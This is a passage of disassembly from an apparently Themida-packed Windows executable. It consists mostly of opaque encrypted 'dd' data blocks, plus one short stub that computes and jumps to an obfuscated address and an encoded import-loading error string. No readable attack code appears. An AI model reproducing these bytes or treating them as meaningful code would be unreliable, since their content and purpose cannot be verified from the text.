		dd 2D91A0F6h, 1BCB3FE9h, 3C9FA554h, 0BA32DBFh, 3A60F77Fh
		dd 0CC608AF0h, 3A60F7B8h, 9B1DCB0Fh, 0F757F60Ah, 78722C34h
		dd 0EE000000h, 364CE83Fh, 6347BB0Fh, 33BD5FC5h,	941DCFBBh
		dd 0DD7A40C3h, 3995D73Fh, 3686A0E8h, 0E408D261h, 0C3943CE0h
		dd 9DAF1367h, 0A1152870h, 354AC36Dh, 0CFFA0FFEh, 943C4307h
		dd 9AFEC4C3h, 0F97A1D59h, 3CDBFB73h, 6E54C394h,	77EB509Ah
		dd 26764560h, 0F393638Dh, 3EC393DEh, 64336B7Ah,	79ED3242h
		dd 3C6BDE0Dh, 0F544B882h, 0EF2397A2h, 0EDCD618Bh, 423C6BDEh
		dd 0DE1DFB78h, 0E072F8D5h, 6DD1EC35h, 1DADD929h, 0D822C394h
		dd 2673DA2Eh, 51BCC82Bh, 4D817548h, 0FA811BA3h,	1971FC70h
		dd 0FCC6BD9Fh, 0E6A8D808h, 277D3A60h, 7BB52A6h,	32962C35h
		dd 7E000000h, 0E4760D6Fh, 9F05D140h, 90645EBDh,	60CB3050h
		dd 0C068B13Ah, 0DEA286BBh, 63B81C6Fh, 6B967A5Eh, 4FE29C29h
		dd 89A05855h, 0A02C35C6h, 10Fh,	4550BD4Ch, 0CCD98074h
		dd 0D5C90DF1h, 61C1D23Bh, 7CC0241Bh, 0C448778Dh, 41350015h
		dd 17F90AFBh, 2DD1010Bh, 94785C1Dh, 62B796B0h, 0A286B3C2h
		dd 0BEC637B1h, 0BD8EEF5Ch, 6347A448h, 0F98DBB9Fh, 0C3947DA9h
		dd 7E4B5A4Bh, 1D287DD0h, 1C154AC6h, 8EC3CE94h, 5639C63Ah
		dd 0E26B858Eh, 47B6A491h, 52DA003Fh, 0C394A636h, 0A3A741B9h
		dd 0C02A314Bh, 0DF1CCD5h, 28F28C12h, 4781E19h, 9CEF10FBh
		dd 123C48B5h, 0E22DD458h, 0B882BD9Fh, 9AA1FBBBh, 0CDD7C650h
		dd 0A83C0EF2h, 3A61ABDCh, 0DD0B6F53h, 6C3DF809h, 9BED1844h
		dd 0BD8582ACh, 1B3A7EAFh, 0E6D324D1h, 3A7EAF48h, 6C0BCC1Bh
		dd 40C28C6Bh, 1C98Fh, 4C7B8F00h, 122F7697h, 0E4D524C1h
		dd 49888E7Fh, 18277DAAh, 96757CDBh, 47A0B382h, 37D0033Eh
		dd 0E00DD6E1h, 50B9BA97h, 0FC701498h, 8F7C585h,	6EDADE90h
		dd 0F35A2E23h, 5FB397AAh, 1032E8Dh, 0C49A95B9h,	4B5C492Ah
		dd 6F1FE57Eh, 40E4760Dh, 0BD9F05D1h, 5090645Eh,	3A60CB30h
		dd 0E46867B1h, 6CD0EF35h, 5832B3F1h, 1AEEFFA5h,	2C35C6F3h
		dd 0E8DEh, 0D5DE2600h, 54D8156Dh, 0C3941D30h, 9B6F43B7h
		dd 0EFF43A7h, 0EF47CB0Ah, 0C39418BFh, 1BD8F53Eh, 0D8AC99EAh
		dd 926DAD12h, 0AB78AF5Fh, 0E30D6158h, 0DC2FC1DBh, 0FC6389EDh
		dd 9C1304C1h, 267AC3CBh, 0F77FF11Fh, 4260B00Eh,	39106392h
		dd 20CA300Fh, 2195A0F5h, 95F7931Bh, 2783A60h, 0D484112Eh
		dd 10BED120h, 5B217DF6h, 90921AC0h, 5B446D23h, 0F46BF567h
		dd 0B7F362F1h, 0D002E67h, 992BC8F7h, 0D7E3E70Fh, 8B643072h
		dd 84F84C73h, 7D8786A0h, 0A37C8542h, 53B78C6Ch,	0B9FCh
		dd 5C6BBF00h, 221F6687h, 0F4C5D431h, 5978BE6Fh,	28176D9Ah
		dd 86658CCBh, 77904372h, 27C0132Eh, 907DE6D1h, 60A94A87h
		dd 0FF606488h, 18E7C585h, 0F91EBDA0h, 0D31CAB15h, 2078D573h
		dd 0DC29C61Dh, 64F672E1h, 946A84C0h, 19370BC3h,	0F8D5DE23h
		dd 0C4D7C614h, 563A1760h, 56AA1E72h, 754055B8h,	0C2ECB0EEh
		dd 0BBA185BCh, 8569F333h, 0D4067CBDh, 0B49D1067h, 8E5C0325h
		dd 7A766266h, 739DE53Ah, 0E8E52E9Fh, 0BC899A0Bh, 751218C8h
		dd 60BA9F4Ch, 5E6BBC65h, 221F6885h, 16618C5Eh, 91E6573Bh
		dd 0AF9E48ACh, 79E46857h, 3045AA3Bh, 0E431DE05h, 3A265E9h
		dd 0CA000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 56CF7BCFh, 0C681E689h, 4, 4BF57h, 0FE290000h, 2434875Fh
		dd 6633685Ch, 2C890000h, 0E7895724h, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 81243489h, 4ECh, 24148900h, 35161BAh
		dd 0CEF28131h, 89371284h, 8B545AD5h, 0C4812434h, 4, 24048155h
		dd 110E0BF6h, 5208468Fh, 86D21BAh, 0F7E2D12Ah, 0C8EA81DAh
		dd 299AE119h, 0FF5A0856h, 835E2434h, 2C8B04C4h,	0E2895224h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0F99B62E9h, 5F16F7FFh
		dd 0FCCF484h, 18A160B8h
; ---------------------------------------------------------------------------


loc_5AA484:				; CODE XREF: Themida_:loc_5A9608j
		mov	eax, 611E33Fh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 9Bh,	5Fh, 42h
		dd 0AE634938h, 26D3A747h, 0AAEB252Eh, 5C65ED47h, 17D0300Eh
		dd 0C4529B37h, 0F95C7644h, 0DEE53E27h, 0FFBB8868h, 3925F403h
		dd 6235A00Ah, 11ADB42Ch, 0FB34E130h, 48310D06h,	0EB1E5E44h
		dd 0E1920123h, 7DF46861h, 9D641542h, 9A4A1207h,	28517E23h
		dd 0E017E423h, 48E58066h, 1DF0496Eh, 405A2E5Dh,	0F1141703h
		dd 23F7E94Ah, 0A80D5950h, 7E85Ah, 2EF30000h, 0D1910119h
		dd 0F78B66EAh, 6E95Ah, 66890000h, 2177A38Ah, 6F8AC281h
		dd 0BB0000h, 0F8000000h, 811334FFh, 0F847A2D7h,	0C081582Bh
		dd 73BA9F11h, 9850Fh, 8D0F0000h, 3, 81F7B70Fh, 0C8E12DE8h
		dd 5AC08175h, 605718FAh, 0AE8h,	3B7BFE00h, 2C28537Eh, 0F83DFA5Dh
		dd 0F681665Eh, 50615666h, 0B15609B9h, 1A048F78h, 7E9h
		dd 0BBF63000h, 9BCEB098h, 1532C181h, 0EB83685Ah, 2DBF6602h
		dd 0FC4B4B39h, 910CFB81h, 850FFFFFh, 0FFFFFF8Ch, 12A7BE66h
		dd 0E59A8D8Dh, 6A0611h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 156BA2C3h, 892B92B3h, 0B174D8Dh
		dd 1985C706h, 4060B01h,	6A000060h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 4570C352h
		dd 6E3EE4DCh, 6830F16h,	8B000000h, 0B08A1BDh, 985C706h
		dd 60B10h, 0B4000000h, 7DB5FFADh, 6A060B1Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0B442C353h, 0C595FFD3h, 6A060B0Ah, 0DD95FF00h, 8B060B32h
		dd 0C52AEBC0h, 1DCCA2D8h, 0C5FBCA61h, 0F11F91A7h, 8422499Ch
		dd 58C8E109h, 3AD5E69Ch, 7795D43Fh, 0B6F09F73h,	0D2C29D5Ch
		dd 6203294Bh, 127E92Dh,	5B500000h, 0EFAC7376h, 154Eh, 6E410000h
		dd 72724520h, 6820726Fh, 6F207361h, 72727563h, 77206465h
		dd 656C6968h, 616F6C20h, 676E6964h, 706D6920h, 7374726Fh
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 777h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 6E14800h, 921DF4C7h, 96A6CF63h, 1E639F8Fh, 1C131134h
		dd 3CB735B1h, 61664239h, 9E35722Bh, 1177A9F2h, 90EF8832h
		dd 136D6E07h, 0A67CBFBFh, 0C699173Fh, 0A8E5D069h, 136D6DE3h
		dd 45715632h, 1177A961h, 90EF8832h, 136D6E07h, 0A56FBFBFh
		dd 0C699173Fh, 0D5EDD069h, 0F37BF9B1h, 1A662423h, 156601B6h
		dd 0F8E30532h, 0EA60559Fh, 8E3AFE2h, 0EA60009Ch, 50E34EE2h
		dd 43604F1Ah, 0BDDE705Ah, 40D3EEAEh, 98608321h,	1B1B5CB7h
		dd 9CB6DD34h, 1E73BCB7h, 0F8E30534h, 456055D4h,	0F0A8A7BFh
		dd 0EA361723h, 1E63A5A7h, 78E38334h, 15602935h,	0D3661132h
		dd 1E4ECDB7h, 7C0E0134h, 0EAE8505Bh, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 44E3ABE2h, 0D3601A13h, 1E4ECDB7h, 4B0E0734h
		dd 0EAFA4559h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 10E3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 3C0E1034h, 0EA88405Ah, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 1CE3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 0D70E0134h, 0EABC420Ah, 1E6D1087h, 18E30534h, 0EA604F0Bh
		dd 18E3ABE2h, 966000D4h, 1E6D918Fh, 90694434h, 15662277h
		dd 3D2394F4h, 7D238E39h, 0EF463AB4h, 1E6797CDh,	90EB1739h
		dd 136DB13Fh, 90EF94CDh, 1377C423h, 3D2394F4h, 7D2A8E39h
		dd 0F54094F1h, 1E6797CDh, 90EB1739h, 136DB13Fh,	90EF94CDh
		dd 1377C427h, 156651DBh, 50E34E32h, 47604F1Ah, 5F822F5Ah
		dd 0D3EE8Eh, 9860831Bh,	1E5F49B7h, 9CB6DD34h, 48000B7h
		dd 50E34E34h, 47604F1Ah, 592C6A5Ah, 0D3EE94h, 9860831Bh
		dd 1E5F49B7h, 9CB6DD34h, 48004B7h, 50E34E34h, 47604F1Ah
		dd 57D2C85Ah, 14D3EECFh, 98608339h, 1E5F49B7h, 9CB6DD34h
		dd 1E71B0B7h, 50E34E34h, 62604F1Ah, 82CE815Ah, 0D3EEC1h
		dd 98608331h, 1E5F49B7h, 9CB6DD34h, 1E4C44B7h, 50E34E34h
		dd 47604F1Ah, 0C857355Ah, 14D3EEB8h, 98608339h,	1E5F49B7h
		dd 9CB6DD34h, 1E4898B7h, 50E34E34h, 43604F1Ah, 0A0B1B5Ah
		dd 40D3EEE6h, 98608321h, 1B1B5CB7h, 9CB6DD34h, 1E7F64B7h
		dd 50E34E34h, 52604F1Ah, 0C976585Ah, 14D3EEB3h,	98608339h
		dd 1E5F49B7h, 9CB6DD34h, 1E6BF0B7h, 50E34E34h, 52604F1Ah
		dd 1AD3C05Ah, 14D3EEB8h, 98608339h, 1E5F49B7h, 9CB6DD34h
		dd 48024B7h, 34DB0B34h,	15604F32h, 1337A63Dh, 90A01132h
		dd 136DA077h, 98F2C7Eh,	0A099FBE8h, 136D1A33h, 2C6B0DBFh
		dd 0C5994239h, 0F347A7BBh, 90A01723h, 136DA077h, 0CBA82C7Eh
		dd 0A099FF46h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F343A7BBh
		dd 90A01723h, 136DA077h, 97592C7Eh, 0A09995B3h,	136D1A33h
		dd 2C6B0DBFh, 0C5994239h, 0F34FA7BBh, 90A01723h, 136DA077h
		dd 557E2C7Eh, 0A099911Dh, 136D1A33h, 2C6B0DBFh,	0C5994239h
		dd 0F34FA7BBh, 90A01723h, 136DA077h, 13722C74h,	0A09998ECh
		dd 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F357A7BBh, 90A01723h
		dd 136DA077h, 51C2C75h,	0A099A3EEh, 136D1A33h, 2C6B0DBFh
		dd 0C5994239h, 0F35FA7BBh, 90A01723h, 136DA077h, 9BCA2C75h
		dd 0A099CDB5h, 136D1A33h, 2C6B0DBFh, 0C5994239h, 0F35BA7BBh
		dd 90A01723h, 136DA077h, 0B2B42C75h, 0A099F6A8h, 136D1A33h
		dd 2C6B0DBFh, 0C5994239h, 0F327A7BBh, 90A01723h, 136DA077h
		dd 2C622C75h, 0A09998F3h, 136D1A33h, 2C6B0DBFh,	0C5994239h
		dd 0F323A7BBh, 0A8E51723h, 136DA8CFh, 0D3463132h, 1E4E67B7h
		dd 720E5634h, 0EA86FA1Fh, 1E6D4587h, 18E3AF34h,	0EA601A0Bh
		dd 5CE301E2h, 0D36055D4h, 1E4E67B7h, 0A40E5634h, 0EAE8A181h
		dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 58E301E2h,	0D36055D4h
		dd 1E4E67B7h, 0B20E5234h, 0EAA6FE78h, 1E6D4587h, 18E3AF34h
		dd 0EA601A0Bh, 44E301E2h, 0D36055D4h, 1E4E67B7h, 0FE0E5D34h
		dd 0EA9DEE5Eh, 1E655187h, 18E3AF34h, 0EA601A0Bh, 0F0E301E2h
		dd 0D36055D4h, 1E4E67B7h, 400E5534h, 0EADDFBBCh, 1E6D4587h
		dd 18E3AF34h, 0EA601A0Bh, 40E301E2h, 0D36055D4h, 1E4E67B7h
		dd 0E90E5234h, 0EADA065Ch, 1E6D4587h, 18E3AF34h, 0EA601A0Bh
		dd 4CE301E2h, 0D36055D4h, 1E4E67B7h, 0BF0E4234h, 0EAA0980Ch
		dd 1E6D4587h, 18E3AF34h, 0EA601A0Bh, 48E301E2h,	966055D4h
		dd 1E60B38Fh, 91691134h, 156688D2h, 3D23C1F4h, 7D202439h
		dd 0EFF0DF03h, 1E673DCDh, 90EB4239h, 136D1B3Fh,	90EFC1CDh
		dd 13776E8Bh, 3D23C1F4h, 7D202439h, 0E9C12BE4h,	1E673DCDh
		dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EFBh, 3D23C1F4h
		dd 7D202439h, 879AB532h, 1E673DCDh, 90EB4239h, 136D1B3Fh
		dd 90EFC1CDh, 13776EFFh, 3D23C1F4h, 7D202439h, 0E3B25E58h
		dd 1E673DCDh, 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EE3h
		dd 3D23C1F4h, 7D202439h, 81AB41D5h, 1E673DCDh, 90EB4239h
		dd 136D1B3Fh, 90EFC1CDh, 13776E8Fh, 3D23C1F4h, 7D202439h
		dd 0A4446509h, 1E673DCDh, 90EB4239h, 136D1B3Fh,	90EFC1CDh
		dd 13776EF3h, 3D23C1F4h, 7D202439h, 0CA1FFBDFh,	1E673DCDh
		dd 90EB4239h, 136D1B3Fh, 90EFC1CDh, 13776EF7h, 359BF9B1h
		dd 60662439h, 50E3D712h, 4660831Ah, 0AB861A5Ah,	14D3DDFCh
		dd 98601A39h, 1E5F85B7h, 9CB6BB34h, 48043B7h, 50E3D734h
		dd 5260831Ah, 0A438C35Ah, 14D3DDF5h, 98601A39h,	1E5F85B7h
		dd 9CB6BB34h, 48047B7h,	0E8DB9234h, 15608312h, 90A06447h
		dd 136D0A77h, 6B637975h, 0A0996E50h, 136D4F33h,	2C6BA7BFh
		dd 0C5991739h, 0F30F0DBBh, 90A04223h, 136D0A77h, 1C907971h
		dd 0A0991A48h, 136D4F33h, 2C6BA7BFh, 0C5991739h, 0F30B0DBBh
		dd 90A04223h, 136D0A77h, 82467971h, 0A0997413h,	136D4F33h
		dd 2C6BA7BFh, 0C5991739h, 0F3170DBBh, 0A8E54223h, 136D02CFh
		dd 0D3266432h, 1E4ECDB7h, 160E0734h, 0EAED229Ah, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 6CE3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 0C00E0734h, 0EA837904h, 1E6D1087h, 18E30534h, 0EA604F0Bh
		dd 60E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0F40E0734h, 0EA8C8800h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 68E3ABE2h,	0D36000D4h
		dd 1E4ECDB7h, 220E0734h, 0EAE2D39Eh, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 94E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0C10E0B34h
		dd 0EAF117A2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 90E3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 170E0B34h, 0EA9F4C3Ch, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 9CE3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 5C0E0934h, 0EAAE154Bh, 1E6D1087h, 18E30534h,	0EA604F0Bh
		dd 84E3ABE2h, 0D36000D4h, 1E4ECDB7h, 9C0E0934h,	0EABAD57Fh
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 98E3ABE2h,	0D36000D4h
		dd 1E4ECDB7h, 220E1134h, 0EAFA391Fh, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 80E3ABE2h, 0D36000D4h, 1E4ECDB7h, 3F0E0734h
		dd 0EAB4F7C2h, 1E6D1087h, 18E30534h, 0EA604F0Bh, 8CE3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 0FF0E1634h, 0EA9B6086h, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D3601A25h, 1E4ECDB7h
		dd 8C0E0334h, 0EA84BA6Bh, 1E6D1087h, 18E30534h,	0EA604F0Bh
		dd 88E3ABE2h, 0D36000D4h, 1E4ECDB7h, 0D70E0334h, 0EAD7DF52h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0B4E3ABE2h, 0D36000D4h
		dd 1E4ECDB7h, 10E0334h,	0EAB984CCh, 1E6D1087h, 18E30534h
		dd 0EA604F0Bh
		dd 0B0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 7D0E1B34h, 0EAF872C0h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0BCE3ABE2h, 0D36000D4h
		dd 1E4ECDB7h, 2A0E0B34h, 0EAA1DE49h, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 0C0E3ABE2h, 0D36000D4h, 1E4ECDB7h, 590E0334h
		dd 0EA9C795Ch, 1E6D1087h, 18E30534h, 0EA604F0Bh, 0CCE3ABE2h
		dd 0D36000D4h, 1E4ECDB7h, 0D80E0334h, 0EAA52416h, 1E6D1087h
		dd 18E30534h, 0EA604F0Bh, 0C8E3ABE2h, 0D36000D4h, 1E4ECDB7h
		dd 0D90E1B34h, 0EAB29952h, 1E6D1087h, 18E30534h, 0EA604F0Bh
		dd 0B8E3ABE2h, 0D36000D4h, 1E4ECDB7h, 5B0E1B34h, 0EAF8CB66h
		dd 1E6D1087h, 18E30534h, 0EA604F0Bh, 0A4E3ABE2h, 0D36000D4h
		dd 1E4ECDB7h, 5D0E1B34h, 0EAB7311Ah, 1E6D1087h,	18E30534h
		dd 0EA604F0Bh, 0A0E3ABE2h, 7F6000D4h, 566E036h,	150E4432h
		dd 7F662222h, 0B8F3EE32h, 9C608327h, 1E72B5B7h,	8BE3AF34h
		dd 0EA6000FEh, 7D62E2E2h, 15665432h, 1546225Ah,	0EA667B32h
		dd 1E7325A7h, 0C4E3CD34h, 9C602925h, 1E5498B7h,	7D26E234h
		dd 15665432h, 1466225Ah, 0EA667B32h, 1E7325A7h,	48E3CD34h
		dd 9E602919h, 1E551487h, 48FB0334h, 9C604F29h, 1E75E787h
		dd 50FB9834h, 9E60831Dh, 1E7D19AFh, 966DA934h, 916911CBh
		dd 156682EDh, 26061562h, 0FCE3ABF2h, 0AB601A37h, 1566880Eh
		dd 35423031h, 51658F54h, 65ED3116h, 31128B4Ah, 0D18CF12h
		dd 0D879FBBh, 0EAE31739h, 156C0D3Dh, 1B8E4432h,	0FC662223h
		dd 156611A3h, 7EB10363h, 80EF40E0h, 136D268Bh, 150E1558h
		dd 47668822h, 80994458h, 136D379Fh, 323394BBh, 0C5ED8E39h
		dd 5B9AC6Bh, 0B8302232h, 31425531h, 42B903A5h, 1AC88400h
		dd 0EA99DBB7h, 0EE4D4FCDh, 9EB10360h, 1E72B58Fh, 0EAAFA134h
		dd 13ECD101h, 9E204900h, 0FCA7C336h, 5FAE113Ah,	0EA8C943Dh
		dd 0D4ED77CDh, 9C3C94C5h, 11A4A130h, 0FCE3EE60h, 9E608337h
		dd 1E63ADA7h, 0F4F31B34h, 1A601A2Ah, 156682B6h,	96381E32h
		dd 8E8F26F4h, 4F99EECDh, 4D3FE96Ch, 527C1F5h, 15662439h
		dd 90A11132h, 136D89BFh, 15664432h, 0F37B9FB1h,	1A661723h
		dd 156680B6h, 0A7FBC932h, 0EA603378h, 24E3EEE1h, 96608312h
		dd 1E46758Fh, 97694634h, 15661150h, 35570DF5h, 15674239h
		dd 98062232h, 480E487h,	75DB0534h, 3E605631h, 9EB1A9CCh
		dd 1E72E08Fh, 0EAAF0B34h, 13EC8401h, 9E20E300h,	0FCA79636h
		dd 5FAEBB3Ah, 0EA8CC13Dh, 0D4EDDDCDh, 905FC1C5h, 136D9103h
		dd 1571C03Dh, 0A8E52232h, 136D3627h, 1FE38732h,	0D2664432h
		dd 1E614FB7h, 15661034h, 26DFE932h, 0AF687D03h,	78EBE200h
		dd 0D0D3989Fh, 0D2608321h, 1566B874h, 0FB5B2232h, 1A88FFDCh
		dd 1566A8B7h, 0C858C532h, 1ABBFFEFh, 156605B7h,	15604F32h
		dd 96664432h, 0A0EF26F4h, 136D02F7h, 156E71DBh,	26BECF32h
		dd 1E614FB7h, 16AED034h, 0D5A74A19h, 9CA77722h,	1E614FAFh
		dd 15662C34h, 96698833h, 15664477h, 0AEDD1CB3h,	9069AA89h
		dd 1566880Bh, 156642F5h, 0D3E52232h, 0D0D39836h, 9E608321h
		dd 1E7D19AFh, 9E6DA934h, 0D7ED71E2h, 1EDF0D19h,	0F5A74239h
		dd 0C0E32130h, 83601A2Ah, 9CA78B9Fh, 747A6076h,	15665EDBh
		dd 26344032h, 40F303FBh, 2E604F15h, 2DE22D30h, 96661132h
		dd 2E278CF0h, 1E7EA5BFh, 0FDE32D34h, 9899EECDh,	4835287h
		dd 0A8DBC934h, 0B9602916h, 9169D1B6h, 15668834h, 0EA97AD98h
		dd 15DEDDCDh, 98661132h, 1E2B5FBFh, 9C87BB34h, 1E63CBBFh
		dd 433F4B34h, 0E3B15B9h, 1EED4239h, 108FA7B9h, 0F5B71739h
		dd 6570D31h, 0E3554239h, 0D4CB44A4h, 906513D2h,	136D90E7h
		dd 0D465E9A4h, 3CDBA16Ch, 14601A21h, 155F0C3Dh,	985D4432h
		dd 136D2933h, 154B953Dh, 985D8832h, 136D4727h, 1547A63Dh
		dd 985D1132h, 136D917Fh, 1573C03Dh, 88EB2232h, 1377EA0Ah
		dd 0EDED5BCDh, 2E7C1BBh, 0A18F2439h, 98661134h,	49DB0AFh
		dd 96B5BB34h, 1E750B8Fh, 91691134h, 1566882Fh, 316FC109h
		dd 91692439h, 1566113Eh, 16070D09h, 90694239h, 15662237h
		dd 0EA99A8DBh, 44E3B3CDh, 1A604F13h, 15663AB7h,	0CDB9232h
		dd 15608339h, 156DC13Dh, 90EB2232h, 1377A128h, 0EA991DDBh
		dd 44E37FCDh, 1A602913h, 0EA9998B6h, 0C3DB0BCDh, 146055D7h
		dd 1571A73Dh, 905D1132h, 13776E07h, 156DC13Dh, 90EB2232h
		dd 153EF792h, 0EA99E5DBh, 969977CDh, 1E66038Fh,	91691134h
		dd 15668B55h, 0F347C109h, 12132423h, 1AD794B9h,	2E218E39h
		dd 4806DB7h, 9E615734h,	1E6414B7h, 905DCF34h, 1377A217h
		dd 90ED2547h, 136D1243h, 38E3B375h, 606055D4h, 60E3A935h
		dd 52601A10h, 0F3570D09h, 12134223h, 3C9FA7B9h,	2E211739h
		dd 480BDB7h, 9E613134h,	1E601BB7h, 905D5634h, 13776E0Bh
		dd 90ED4347h, 136D00B3h, 28E32A75h, 606099D4h, 0FCE3CF35h
		dd 52602902h, 0F3279409h, 12138E23h, 19B3C1B9h,	2E212439h
		dd 48054B7h, 9E61FD34h,	1E73FDB7h, 905D6534h, 1377F77Fh
		dd 90ED8F47h, 136D758Fh, 5CE31975h, 606000D4h, 0E8DB0B22h
		dd 15604F12h, 90ED2547h, 136D3873h, 80DB0B75h, 15604F10h
		dd 905D2D46h, 1377F7E7h, 90ED8F47h, 136D48C7h, 84DBA175h
		dd 15601A34h, 0A8E5FA46h, 136D508Bh, 2E0F5632h,	480A8B7h
		dd 9E61FD34h, 1E47B9B7h, 905D6534h, 1377F7FBh, 90ED8F47h
		dd 136D773Fh, 0A8E31975h, 606000D4h, 8E30335h, 52604F35h
		dd 0F3ABA709h, 12131723h, 3130DB9h, 2E214239h, 480F3B7h
		dd 9E616434h, 1E66DDB7h, 905D0334h, 1377C4F3h, 90ED1647h
		dd 136D8B77h, 0D0E37F75h, 606033D4h, 0A8E39A35h, 5260831Ah
		dd 1DFF9B1h, 1A662439h,	15641BB6h, 44E3B332h, 606055D4h
		dd 84E3A935h, 52601A30h, 0F3830D09h, 12134223h,	0BCFA7B9h
		dd 2E211739h, 480DDB7h,	9E613134h, 1E67F7B7h, 905D5634h
		dd 13776E6Bh, 90ED4347h, 136D0B83h, 48E32A75h, 606099D4h
		dd 0E0E3CF35h, 52602921h, 0F3079409h, 5138E23h,	359BF9B1h
		dd 60662439h, 34E39A35h, 5260832Ah, 0F303C109h,	12132423h
		dd 344F94B9h, 2E218E39h, 4802DB7h, 96765734h, 1E46EC8Fh
		dd 12138834h, 15BBC1B9h, 2E212439h, 4807CB7h, 9E61FD34h
		dd 1E4609B7h, 905D6534h, 1377F743h, 90ED8F47h, 136D67CFh
		dd 6CE31975h, 606000D4h, 0E8DB0B22h, 15604F12h,	90ED2547h
		dd 136D108Fh, 60E3B375h, 606055D4h, 0E8DBA122h,	15601A12h
		dd 90ED8F47h, 136D4877h, 68E31975h, 606000D4h, 0ECE30335h
		dd 52604F2Ah, 0F3E7A709h, 12131723h, 0DFB0DB9h,	2E214239h
		dd 480A7B7h, 9E616434h,	1E7479B7h, 905D0334h, 1377C4BBh
		dd 90ED1647h, 136DA8DFh, 98E37F75h, 606033D4h, 9CE39A35h
		dd 52608327h, 0F3F7C109h, 12132423h, 19A394B9h,	2E218E39h
		dd 480D1B7h, 9E615734h,	1E6F7CB7h, 905DCF34h, 1377A2ABh
		dd 90ED2547h, 136D3A57h, 0B4E3B375h, 60604F25h,	80E3A935h
		dd 52601A1Bh, 0F3FB0D09h, 12134223h, 1863A7B9h,	2E211739h
		dd 48051B7h, 967F3134h,	480C38Fh, 1C131134h, 64F35B1h
		dd 61664239h, 20E3A935h, 52601A29h, 0F3BB0D09h,	0C134223h
		dd 0F3879FB1h, 60661723h, 3CDB0B3Bh, 15604F21h,	90ED2546h
		dd 136D32C3h, 0B4E3B375h, 606055D4h, 0BCE3A935h, 52601A2Bh
		dd 0F3C30D09h, 12134223h
		dd 3B33A7B9h, 2E211739h, 48021B7h, 9E613134h, 1E6357B7h
		dd 905D5634h, 13776E9Fh, 90ED4347h, 136D3B2Fh, 0A4E32A75h
		dd 606099D4h, 2CE3CF35h, 5260292Bh, 0F3D39409h,	12138E23h
		dd 17F7C1B9h, 1E212439h, 10E21ECDh, 0FC668832h,	0EA99BFD8h
		dd 3F33A709h, 90691739h, 15668839h, 8C4EC1BFh, 0C68F2423h
		dd 2E99EEC9h, 1E4801B7h, 0DE34B34h, 96662232h, 483C78Fh
		dd 90698934h, 15664439h, 0F345A7BFh, 0BA8F116Ah, 2E9977C9h
		dd 48055B7h, 19E22D34h,	2E661132h, 4809DB7h, 10E34B34h
		dd 0FC662232h, 0EA99EAA0h, 1566888Ch, 1498C732h, 1523A73Dh
		dd 905D1132h, 13776E37h, 156DC13Dh, 90EB2232h, 153E73D6h
		dd 0EA9DE5DBh, 1CE37FCDh, 1A6033D4h, 15661AB7h,	4FE30532h
		dd 0FC661C51h, 0EA99D964h, 0F36B9409h, 90698E23h, 15664439h
		dd 76F9A7BFh, 2A8F116Ah, 9E9977C9h, 1567FAF2h, 0E36D2232h
		dd 1563943Dh, 368F8832h, 9E99BBC9h, 54D3ABC2h, 9C601A16h
		dd 1E485987h, 0FC58C434h, 1540A73Dh, 6BED1132h,	9E988B33h
		dd 15A5C5ECh, 2E662272h, 1E42508Fh, 1DE48734h, 2E664432h
		dd 10E02DC9h, 0FC661132h, 0EA9972D4h, 2B7F9B9h,	90A12439h
		dd 136D053Bh, 15668832h, 0C4D3CD52h, 9860291Ch,	76708AFh
		dd 1AB57734h, 156666B0h, 0BDFBAF32h, 0EA60014Ch, 0CBE587E1h
		dd 9E99BBCDh, 1E48F387h, 1CD39834h, 98608326h, 42C1EAFh
		dd 9EB5DD34h, 1E4250B7h, 0C4E30134h, 74604F1Ch,	0E8E4BFBFh
		dd 0C6991723h, 150C15BFh, 0C6994220h, 156AA13Dh, 90E51132h
		dd 136DA6E3h, 0EAB8AD37h, 88EBDDCDh, 137411A1h,	96695BCDh
		dd 1566443Ah, 0FC62E0B1h, 15661100h, 6BCE15BFh,	0C6994222h
		dd 156DA13Dh, 0A0ED1132h, 136DA6E3h, 1561C4DBh,	0C4EBA932h
		dd 9C601A1Ch, 1E485987h, 0E2A86F34h, 0E69709EBh, 0EAF0F896h
		dd 88EB77CDh, 13770E80h, 0D2EDF1CDh, 2B79419h, 90EF8E39h
		dd 136D4B0Bh, 2B7A7B9h,	45311739h, 5E4105BFh, 0C4994223h
